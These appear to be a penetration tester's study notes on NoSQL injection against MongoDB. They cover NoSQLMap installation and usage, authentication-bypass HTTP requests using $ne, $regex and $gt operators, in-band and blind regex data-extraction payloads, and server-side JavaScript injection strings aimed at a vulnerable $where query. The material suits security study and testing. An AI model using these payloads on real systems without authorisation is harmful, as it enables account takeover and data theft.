# NoSQL Injection

## Useful Resources

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection>
* <https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html>
* <https://nullsweep.com/nosql-injection-cheatsheet/>
* <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Databases/SQLi/NoSQL.txt>
* <https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt>
* <https://portswigger.net/bappstore/605a859f0a814f0cbbdce92bc64233b4>

#### NoSQLMap

As of writing these notes, the nosqlmap installation described in the github repository does not seem to work. To install it:

```
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
sudo apt install python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install couchdb
pip2 install --upgrade setuptools
pip2 install pbkdf2
pip2 install pymongo
pip2 install ipcalc
```

Then you can run it using

`python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postData param1name,parameter1value,param2name,parameter2value --injectedParameter 1 --injectSize 5`&#x20;

{% hint style="success" %}
`--injectedParameter 1` specifies that we want to inject the parameter with index 1 in the `postData` list, which is `parameter2name` in this case
{% endhint %}

***

## Fundamentals

Unlike relational databases, NoSQL databases store data in different ways varying on their type

<table><thead><tr><th width="177">NoSQL Database Type</th><th>Description</th></tr></thead><tbody><tr><td>Document-Oriented</td><td>Stores data in <strong>documents</strong> which contain pairs of <strong>fields</strong> and <strong>values</strong>. Documents are typically <strong>encoded</strong> in formats such as <strong>JSON</strong> or <strong>XML</strong>.</td></tr><tr><td>Key-Value</td><td>A data structure that stores data in key:value pairs, like  a dictionary.</td></tr><tr><td>Wide-Column</td><td><strong>Similar to relational databases</strong>, as they store data in tables, rows, and columns, but with the ability to handle <strong>more ambiguous data types</strong>.</td></tr><tr><td>Graph</td><td>Stores data in <strong>nodes</strong> and uses <strong>edges</strong> to define relationships</td></tr></tbody></table>

{% hint style="warning" %}
I will only cover MongoDB, as it is the most popular NoSQL database.

*Also, since NoSQL has no standardized query language like SQL does, its injection attacks may differ based on the specific implementation you are facing.*
{% endhint %}

***

## Authentication Bypass

Suppose you are facing a web application login that requires a username and a password

```http
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username=wrong&password=wrong
```

To bypass authentication without valid credentials, we want this query to return a match on any document to get us authenticated as whoever it matched.

A straightforward way to do this would be to use the `$ne` query operator on both `username` and `password` to match values that are `not equal` to something we know **doesn't exist**.&#x20;

Since the parameters are URL-encoded, we can't just pass JSON objects to PHP.\
To solve, this we need to change the syntax: `param[$op]=val` is the same as `param: {$op: val}` so we will try to bypass authentication with `username[$ne]=wrong` and `password[$ne]=wrong`

```http
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username[$ne]=wrong&password[$ne]=wrong
```

An alternative approach would use the `$regex` query parameter on both fields to match `/.*/`, which means **any character repeated 0 or more times**, which, in turn, matches everything.

```http
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username[$regex]=.*&password[$regex]=.*
```

Lastly, some other payloads that could work are:

```
username=admin&password[$ne]=x    # to target the admin user
username[$gt]=&password[$gt]=     # any string greater than 0 -> matches everything
username[$gte]=&password[$gte]=   # same logic
```

***

## Data Extraction (In-Band) <a href="#in-band-data-extraction" id="in-band-data-extraction"></a>

{% hint style="info" %}
Data extraction in NoSQL databases differs from relational databases: queries are performed on specific collection, meaning that ***data exfiltration attacks are limited to the collection where the query applies.***
{% endhint %}

When extracting data in-band, the ideas are the very same as the authentication bypasses shown previously: we will inject **payloads to match everything based on always true/false conditions**

{% tabs %}
{% tab title="URL-Encoded" %}
param\[$ne]=x
\
param\[$gt]=
\
param\[$gte]=
\
param\[$lt]=\~
\
param\[$lte]=\~
\
param\[$regex]=.\*
{% endtab %}

{% tab title="JSON" %}
{param: {$ne: 'x'}}
\
{param: {$gt: ''}}
\
{param: {$gte: ''}}
\
{param: {$lt: '~~'}}~~
\
~~{param: {$lte: '~~'}}
\
{param: {$regex: '.\*'}}
\
{param: {$nin: \[]}}
{% endtab %}
{% endtabs %}

***

## Data Extraction (Blind)

When trying to extract data that is not being reflected back to us, we can use regex to get the value we are looking for, one character at a time.

Consider an example where you can search for orders by their package number. The search query requires a "packageNumber" parameter and responds with the information related to the package. It won't confirm whether the package number exists or not.

We can confirm the injection point exists by sending a payload that will match any entry returned by the underlying query, such as `{"packageNumber":{"$ne":"x"}}`.\
After that, we can send `{"packageNumber":{"$regex":"^.*"}}`, to match all documents.

If that works, we can iteratively look for other characters in the packageNumber by sending:

```
{"packageNumber":{"$regex":"^0.*"}}
{"packageNumber":{"$regex":"^1.*"}}
{"packageNumber":{"$regex":"^2.*"}}
.....
{"packageNumber":{"$regex":"^21.*"}}
{"packageNumber":{"$regex":"^22.*"}}
....
{"packageNumber":{"$regex":"^221.*"}}
{"packageNumber":{"$regex":"^222.*"}}
....
{"packageNumber":{"$regex":"^2221262$"}}
```

{% hint style="success" %}
A dollar sign (`$`) is appended to the regular expression to mark the end of a string, allowing us to verify whether the entire package number has been dumped.
{% endhint %}

***

## Server-Side Javascript Injection (SSJI) via NoSQLi

One type of injection unique to NoSQL is JavaScript Injection, which may happen when an attacker can get the server to execute arbitrary JavaScript in the context of the database because the server leverages a JavaScript file that evaluates the parameters sent by the user to run the NoSQL query.&#x20;

{% hint style="danger" %}
Notice: The JavaScript code is not shown in the front end!\
It is executed by the server when checking the user parameters at the back end.
{% endhint %}

### Authentication Bypass

A JavaScript file related to authentication may contain something like:

{% code overflow="wrap" %}

```javascript
.find({$where: "this.username == \"" + req.body['username'] + "\" && this.password == \"" + req.body['password'] + "\""});
```

{% endcode %}

In this case, an attacker could send a payload like `username = " || ""=="` to try and make the server evaluate a query such as `db.users.find({$where: 'this.username == "" || ""=="" && this.password == "" || ""==""'})` which results in every document being returned and presumably logging the attacker in as one of the returned users.

### Data Extraction

The previous attack may allow us to login as a random user, or login without a valid username.\
In the second case, we can proceed with a blind data extraction payload to try and exfiltrate valid usernames (and login as the related user) using an iterative approach to find all characters of the username, one by one, with regular expressions.\
If we are logged in as an invalid user, we can proceed with the next character:

```
username = " || (this.username.match('^a.*')) || ""=="
.......
username = " || (this.username.match('^s.*')) || ""=="
username = " || (this.username.match('^sf.*')) || ""=="
username = " || (this.username.match('^sfo.*')) || ""=="
username = " || (this.username.match('^sfof.*')) || ""=="
username = " || (this.username.match('^sfoff.*')) || ""=="
username = " || (this.username.match('^sfoffo$')) || ""=="
```

### <br>
